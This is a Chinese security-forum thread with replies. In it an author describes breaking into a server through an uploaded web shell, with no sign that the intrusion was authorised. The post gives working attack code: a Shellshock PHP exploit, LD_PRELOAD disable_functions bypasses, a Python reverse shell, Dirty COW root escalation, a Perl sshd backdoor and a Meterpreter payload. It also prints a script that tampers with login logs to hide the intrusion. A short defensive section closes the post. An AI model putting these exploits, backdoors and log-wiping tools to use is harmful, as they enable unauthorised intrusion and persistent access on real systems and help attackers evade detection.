# 一次艰难的渗透提权过程

**URL:** <https://forum.90sec.com/t/topic/391>\
**Category:** 信安之路\
**Created:** [2019 年9 月 11 日 02:26 UTC](https://forum.90sec.com/t/topic/391 "2019-09-11T02:26:39Z")\
**Posts on this page:** 9\
**Page:** 1

<div class="post-metadata">

作者： ![xazlsec](https://forum.90sec.com/user_avatar/forum.90sec.com/xazlsec/32/659_2.png) [@xazlsec](https://forum.90sec.com/u/xazlsec)\
发布日期： [2019 年9 月 11 日 02:26 UTC](https://forum.90sec.com/t/topic/391/1 "2019-09-11T02:26:39Z")

</div>

> 本文作者： **F0rmat** （信安之路首次投稿作者）
> 
> 获得奖励：邀请加入 **信安之路知识星球** + **信安之路核心群** +90sec 邀请注册

### 0x01 前言

某日朋友丢了一条 shell 叫我提权，我拿到 shell 看了一下，菜刀蚁剑都无法执行命令。

 ![image](https://forum.90sec.com/uploads/default/original/2X/4/42cb47092284ecd695a242c5cd51919b7647f11c.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a0b54064b81550b4269910cfd72b553cdf8590b2.png)

Getshell 的漏洞分析在:

> [https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/](https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/)

然后搞了好久熬了一个晚上才弄好，中间走了很多弯路。。。

### 0x02 信息探测

上一个 phpinfo 看下环境

```auto

PHP Version 5.6.30
disable_functions:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
sendmail_path:/usr/sbin/sendmail -t -i
mysql: mysqlnd 5.0.11-dev - 20120503

```

宝塔警告！

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d0016327b350dc19997ffa0d6ce5e67dde66de4a.png)

问了宝塔的开发工程师，宝塔确实是做得挺好的，Windows 的基本没什么希望了，看下 Linux 的。

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/b71251dd5bca1eb7eb23dc4111c9a0602962d19f.jpeg)
### 0x03 肝

`putenv` 这个没禁可以利用一下，看了 P 神的一篇文章：

> [PHP Execute Command Bypass Disable\_functions | 离别歌](https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html)

> [PHP \< 5.6.2 - 'Shellshock' Safe Mode / disable\_functions Bypass / Command Injection - PHP webapps Exploit](http://www.exploit-db.com/exploits/35146/) 的POC

```php

<?php 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none 
# Date: 10/31/2014 
# Exploit Author: Ryan King (Starfall) 
# Vendor Homepage: http://php.net 
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror 
# Version: 5.* (tested on 5.6.2) 
# Tested on: Debian 7 and CentOS 5 and 6 
# CVE: CVE-2014-6271 

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283 
   $tmp = tempnam(".","data"); 
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); 
   // In Safe Mode, the user may only alter environment variableswhose names 
   // begin with the prefixes supplied by this directive. 
   // By default, users will only be able to set environment variablesthat 
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty, 
   // PHP will let the user modify ANY environment variable! 
   mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail 
   $output = @file_get_contents($tmp); 
   @unlink($tmp); 
   if($output != "") return $output; 
   else return "No output, or not vuln."; 
} 
echo shellshock($_REQUEST["cmd"]); 
?>

```

![image](https://forum.90sec.com/uploads/default/original/2X/9/95d5870efadbd0addb8d33a1f17ec1d25f3a640b.png)

没戏。。

继续肝。。。

### 0x04 新希望 LD\_PRELOAD

上 gayhub 上面搜了一下看到了一篇不错的姿势

> [GitHub - yangyangwithgnu/bypass\_disablefunc\_via\_LD\_PRELOAD: bypass disable\_functions via LD\_PRELOA (no need /usr/sbin/sendmail) · GitHub](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)

按照了里面的一段代码 `bypass_disablefunc.c`

```auto

#define _GNU_SOURCE

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ (( __constructor__ )) void preloadme (void)
{
    unsetenv("LD_PRELOAD");
    const char* cmdline = getenv("EVIL_CMDLINE");
    system(cmdline);
}

```

编译了一下

然后上传调用文件 php

```php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

```

利用的时候没回显，what？

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/deda068bc8e7ad7ca5c6933f327e880c88717019.jpeg)

又找了一篇文章：

> [LD\_PRELOAD & putenv() 绕过 disable\_functions & open\_basedir - 淚笑 - 博客园](https://www.cnblogs.com/leixiao-/p/10612798.html)

还是利用 unix 的 `LD_PRELOAD` 和 php 的 `putenv`

```c
#include<stdlib.h>
__attribute__ ((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system(getenv("_evilcmd"));
}

```

利用 php 文件

```php

<?php
putenv("_evilcmd=echo 1>/root/tmp/222222");
putenv("LD_PRELOAD=./evil.so");
mail('a','a','a','a');

```

执行后去刷新了一下目录，！！！！我去，成功了！

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d5c045a57554591c2099c8d79dbf085fce6961eb.png)

但是这样执行代码总是有众多不便的，比如没有回显，把命令带参数执行的时候会报错等

 ![image](https://forum.90sec.com/uploads/default/original/2X/4/4da407df69ea6fcadff3b1cdf266e2cf99aca523.png)

还得继续。。。

### 0x05 柳暗花明又一村-centos

看了大佬一篇文章

> [https://www.meetsec.cn/index.php/archives/44/](https://www.meetsec.cn/index.php/archives/44/)

一个修复版的 bypass.c, 作者的解释：

> 如果你是一个细心的人你会发现这里的 bypass\_disablefunc.c（来自 github）和教程中提及的不一样，多出了使用for 循环修改 LD\_PRELOAD 的首个字符改成 \0，如果你略微了解 C 语言就会知道 \0 是 C 语言字符串结束标记，原因注释里有：unsetenv("LD\_PRELOAD") 在某些 Linux 发行版不一定生效（如 CentOS），这样一个小动作能够让系统原有的 LD\_PRELOAD 环境变量自动失效

然后从环境变量 EVIL\_CMDLINE 中接收 bypass\_disablefunc.php 传递过来的待执行的命令行。

用命令:

> gcc -shared -fPIC bypass\_disablefunc.c -o bypass\_disablefunc\_x64.so

将 bypass\_disablefunc.c 编译为共享对象 bypass\_disablefunc\_x64.so：

要根据目标架构编译成不同版本，在 x64 的环境中编译，若不带编译选项则默认为 x64，若要编译成 x86 架构需要加上 -m32 选项。

```auto

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ (( __constructor__ )) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/967b7a48958baf886af6d84b55627cd955f1fd7d.png)

偶 ~sex!

后来作者确实改进了代码

 ![image](https://forum.90sec.com/uploads/default/original/2X/8/89ba3d598a2e012fa7b0118eda6b2c2fb037309b.png)

中间也发现了一篇不错的方法：

> [https://www.mi1k7ea.com/2019/06/02/浅谈几种Bypass-disable-functions的方法/](https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-disable-functions%E7%9A%84%E6%96%B9%E6%B3%95/)

#### 劫持 getuid()

**基本原理**

前提是在 Linux 中已安装并启用 sendmail 程序。

php 的 mail() 函数在执行过程中会默认调用系统程序 /usr/sbin/sendmail，而 /usr/sbin/sendmail 会调用 getuid()。如果我们能通过 LD\_PRELOAD 的方式来劫持 getuid()，再用 mail() 函数来触发 sendmail 程序进而执行被劫持的 getuid()，从而就能执行恶意代码了。

**细化一下：**

编写一个原型为 uid\_t getuid(void); 的 C 函数，内部执行攻击者指定的代码，并编译成共享对象 evil.so；

运行 PHP 函数 putenv()，设定环境变量 LD\_PRELOAD 为 evil.so，以便后续启动新进程时优先加载该共享对象；

运行 PHP 的 mail() 函数，mail() 内部启动新进程 /usr/sbin/sendmail，由于上一步 LD\_PRELOAD 的作用，sendmail 调用的系统函数 getuid() 被优先级更好的 evil.so 中的同名 getuid() 所劫持；

达到不调用 PHP 的各种命令执行函数（system()、exec() 等等）仍可执行系统命令的目的。

```c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int geteuid() {
        const char* cmdline = getenv("EVIL_CMDLINE");
        if (getenv("LD_PRELOAD") == NULL) { return 0; }
        unsetenv("LD_PRELOAD");
        system(cmdline);
}

```

> gcc -shared -fPIC bypass.c -o byapss.so

编译了一下去利用，发现可以哦！

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/d1321c36bae5aed14e792025e1822b34a50eb5d2.png)
### 0x06 脏牛提权

可以执行命令了，执行上反弹 shell，有交互的 shell 舒服多了，这里用 python 的反弹脚本，一般系统有装 python 脚本，我都会先用 pyhton，因为有一些系统的不一样，bash 或者 nc 比较麻烦。

```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

```

监听一波

![image](https://forum.90sec.com/uploads/default/original/2X/c/cd4cc722175c6e7ae4edafcfd63b0d048a51c47c.png)

反弹成功了

 ![image](https://forum.90sec.com/uploads/default/original/2X/5/587b7f6103f72c779ee8afc8d578e30d929fbfe5.png)

执行 `uname -a` 看了下版本

> Linux cloud 2.6.32-642.el6.x86\_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86\_64 x86\_64 x86\_64 GNU/Linux

2.6 的版本上脏牛必中，可以不用在目标机子上面编译，在自己的 Linux 环境编译然后上传到目标机子上面执行

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/7a121446d5617b48a3e5222a59ff2cd78e6e0605.png)

那就静静等待脏牛把 root 替换掉，然后脸上目标机子，大概要几分钟这样子，去连 ssh 的时候有些管理员会把 ssh 的端口改了，用命令 `netstat -nlp` 就可以看到了。

已经成功了，用户名为 `firefart` 密码是刚设置的 123456。

 ![image](https://forum.90sec.com/uploads/default/original/2X/3/3013511b8b94d3fe698e53e696fce635e5584e4b.jpeg)

已经成功登陆目标机子

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/f946d16d9809fa9299b94839084fb7d57abf3ccb.png)
### 0x07 持续访问-ssh 后门

登陆目标机子后，记得及时恢复 /etc/passwd

> cp /tmp/passwd.bak /etc/passwd

看过一篇文章，觉得这个后门也不错

> [https://www.freebuf.com/articles/system/140880.html](https://www.freebuf.com/articles/system/140880.html)

那些 pam 补丁、隐藏文件、suid、inetd 等都可以用作后门，看你环境。

1、这个 ssh 后门伪装成一个 perl 脚本，名为 sshd，位于 /usr/sbin/sshd , 将系统原先的 sshd 移到 /usr/bin 下

```auto

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

```

2、将真正的 sshd 移至 /usr/bin/sshd

> mv /usr/sbin/sshd /usr/bin/sshd

3、将后门 sshd (perl 脚本移动至 /usr/sbin/sshd),并授予执行权限

> chmod +x /usr/sbin/sshd

4、重启 ssh 服务

> /etc/init.d/sshd restart

 ![image](https://forum.90sec.com/uploads/default/original/2X/6/65e28415560eef86c337a12012369202c3727ee9.png)

5、连接后门，记得安装好 socat

> sudo yum install socat

```auto
#socat STDIO TCP4:目标ip:ssh端口一般是22,sourceport=31334

```

```auto
socat STDIO TCP4:127.0.0.1:22,sourceport=31334

```

![image](https://forum.90sec.com/uploads/default/optimized/2X/5/5921192d5639cb0bd38ba1637c18d88fd0f63036_2_690x86.png)

### 0x08 metaspliot 横向渗透

当然做内网渗透必不可少的就是 msf 了，如果是 Windows 的话推荐使用 `CobaltStrike` 非常 nice 的一个工具。

反正我们现在拿到 root 的 shell 了，先反弹一个 Meterpreter 的会话，还是常规的生成 payload，然后监听等待上线

1、先生成一个后门

> msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=192.168.79.132 LPORT=4455 -f elf \> shell.elf

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/02cee0aa6bc0c773adbaed322e0d372a03a6bd6b.jpeg)

2、把 shell.elf 上传到目标机子上面运行

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/9a3b9e1ad96815e2bff7bdcd5c07c35728411777.jpeg)

3、在本地执行监听

```auto

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4455
exploit

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/8/851beeb2dd0d8984bca7229d3de17fedc1ff4256.jpeg)

4、执行后门反弹 Meterpreter 的会话

```auto
chmod +x ./shell.elf
./shell.elf

```

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/90a2b6fdc0af74b0596cfbd703b265613dd92376.png)

5、查看跳板机处于哪几个网段

> run get\_local\_subnets

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/06067c05c95e03e767b83b5858458e5a89d6b39b.png)

看了一下。。。

但是我这个是属于外网的机子，后来想了一下感觉都不是内网一点意思都没有。。。

算了吧下次有遇到内网的可以再写一篇内网渗透的文章出来哈

### 0x09 擦屁股

走之后记得清理痕迹，以防被溯源或者被管理员发现了。下面附上一个脚本供大家使用：

```python
#!/usr/bin/env python 
import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser

UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"

LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)

XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)

def getXtmp(filename, username, hostname):
    xtmp = ''
    try:
        fp = open(filename, 'rb')
        while True:
            bytes = fp.read(XTMP_STRUCT_SIZE)
            if not bytes:
                break

            data = struct.unpack(XTMP_STRUCT, bytes)
            record = [(lambda s: str(s).split("\0", 1)[0])(i) for i in data]
            if (record[4] == username and record[5] == hostname):
                continue
            xtmp += bytes
    except:
        showMessage('Cannot open file: %s' % filename)
    finally:
        fp.close()
    return xtmp

def modifyLast(filename, username, hostname, ttyname, strtime):
    try:
        p = getpwnam(username)
    except:
        showMessage('No such user.')

    timestamp = 0
    try:
        str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
        timestamp = int(mktime(str2time))
    except:
        showMessage('Time format err.')

    data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname)
    try:
        fp = open(filename, 'wb')
        fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
        fp.write(data)
    except:
        showMessage('Cannot open file: %s' % filename)
    finally:
        fp.close()
    return True

def showMessage(msg):
    print msg
    exit(-1)

def saveFile(filename, contents):
    try:
        fp = open(filename, 'w+b')
        fp.write(contents)
    except IOError as e:
        showMessage(e)
    finally:
        fp.close()

if __name__ == ' __main__':
    usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188\n \
        logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
    parser = OptionParser(usage=usage)
    parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
    parser.add_option('-t', '--ttyname', dest='TTYNAME')
    parser.add_option('-f', '--filename', dest='FILENAME')
    parser.add_option('-u', '--username', dest='USERNAME')
    parser.add_option('-i', '--hostname', dest='HOSTNAME')
    parser.add_option('-d', '--dateline', dest='DATELINE')
    (options, args) = parser.parse_args()

    if len(args) < 3:
        if options.MODE == '1':
            if options.USERNAME == None or options.HOSTNAME == None:
                showMessage('+[Warning]: Incorrect parameter.\n')

            if options.FILENAME == None:
                options.FILENAME = UTMPFILE

            # tamper
            newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
            saveFile(options.FILENAME, newData)

        elif options.MODE == '2':
            if options.USERNAME == None or options.HOSTNAME == None:
                showMessage('+[Warning]: Incorrect parameter.\n')

            if options.FILENAME == None:
                options.FILENAME = WTMPFILE

            # tamper
            newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
            saveFile(options.FILENAME, newData)

        elif options.MODE == '3':
            if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
                showMessage('+[Warning]: Incorrect parameter.\n')

            if options.FILENAME == None:
                options.FILENAME = LASTLOGFILE

            # tamper
            modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)

        else:
            parser.print_help()

```

0x10 防御措施

1、此次渗透的入口点还是目标站点的程序出现的上传漏洞，应该对程序的上传点做过滤加白名单。

2、其实宝塔的功能已经对 php 的执行命令的函数做了严格的封锁，但是还是有漏网之鱼，在宝塔禁用的函数基础上的 disable\_function 里面加上 `putenv` 函数的禁用。

3、被用脏牛提权，这个是内核的漏洞，应该及时升级内核版本,执行以下命令，需要重启。

Centos/RHEL 更新

> sudo yum update

Ubuntu/Debian 更新

> sudo apt-get update && sudo apt-get dist-upgrade

4、如果被植入后门了

应该及时查看和本机的连接情况，可以用 netstat 查看。

查看用户是否有改动, cat /etc/passwd 。

查看可疑进程 top

应急这一块可以参考 bypass007 的 GitHub：

> [GitHub - Bypass007/Emergency-Response-Notes: 应急响应实战笔记，一个安全工程师的自我修养。 · GitHub](https://github.com/Bypass007/Emergency-Response-Notes)

---

<div class="post-metadata">

作者： ![Joseph](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/dc4da7/32.png) [@Joseph](https://forum.90sec.com/u/Joseph)\
发布日期： [2019 年9 月 11 日 10:36 UTC](https://forum.90sec.com/t/topic/391/4 "2019-09-11T10:36:02Z")

</div>

这个提权文不错的,在baypass disablefunc上提供了很多姿势

---

<div class="post-metadata">

作者： ![chrales](https://forum.90sec.com/user_avatar/forum.90sec.com/chrales/32/3657_2.png) [@chrales](https://forum.90sec.com/u/chrales)\
发布日期： [2019 年9 月 18 日 08:40 UTC](https://forum.90sec.com/t/topic/391/5 "2019-09-18T08:40:55Z")

</div>

这测得都是linux下的  
windows下怎么突破?

---

<div class="post-metadata">

作者： ![BLUE](https://forum.90sec.com/letter_avatar_proxy/v4/letter/b/3bc359/32.png) [@BLUE](https://forum.90sec.com/u/BLUE)\
发布日期： [2019 年9 月 18 日 11:13 UTC](https://forum.90sec.com/t/topic/391/6 "2019-09-18T11:13:17Z")

</div>

我知道win下的宝塔可绕过不可以执行命令的方法 linux没测试过。。99%的几率中

---

<div class="post-metadata">

作者： ![chrales](https://forum.90sec.com/user_avatar/forum.90sec.com/chrales/32/3657_2.png) [@chrales](https://forum.90sec.com/u/chrales)\
发布日期： [2019 年9 月 19 日 04:08 UTC](https://forum.90sec.com/t/topic/391/7 "2019-09-19T04:08:53Z")

</div>

老铁 说一下 怎么搞

---

<div class="post-metadata">

作者： ![kriss](https://forum.90sec.com/user_avatar/forum.90sec.com/kriss/32/8019_2.png) [@kriss](https://forum.90sec.com/u/kriss)\
发布日期： [2020 年4 月 26 日 05:11 UTC](https://forum.90sec.com/t/topic/391/8 "2020-04-26T05:11:14Z")

</div>

编译好的脏牛能发一下吗

---

<div class="post-metadata">

作者： ![cmd](https://forum.90sec.com/user_avatar/forum.90sec.com/cmd/32/22_2.png) [@cmd](https://forum.90sec.com/u/cmd)\
发布日期： [2020 年4 月 28 日 16:44 UTC](https://forum.90sec.com/t/topic/391/9 "2020-04-28T16:44:51Z")

</div>

每次我用脏牛就死机，虽然成功了但是死机会话也被迫结束那就嗝屁了。  
这个提权思路不错。

---

<div class="post-metadata">

作者： ![umask](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/e47774/32.png) [@umask](https://forum.90sec.com/u/umask)\
发布日期： [2020 年5 月 10 日 02:41 UTC](https://forum.90sec.com/t/topic/391/10 "2020-05-10T02:41:36Z")

</div>

```
cp /tmp/passwd.bak /etc/passwd

```

脏牛替换回passwd文件这步，替换完后root甚至其他用户都无法登陆， 整个认证体系都出问题了。不知道各位知道什么问题么。

---

<div class="post-metadata">

作者： ![BLUE](https://forum.90sec.com/letter_avatar_proxy/v4/letter/b/3bc359/32.png) [@BLUE](https://forum.90sec.com/u/BLUE)\
发布日期： [2020 年5 月 14 日 12:16 UTC](https://forum.90sec.com/t/topic/391/11 "2020-05-14T12:16:45Z")

</div>

Windows下的宝塔才是最好绕过的吧。
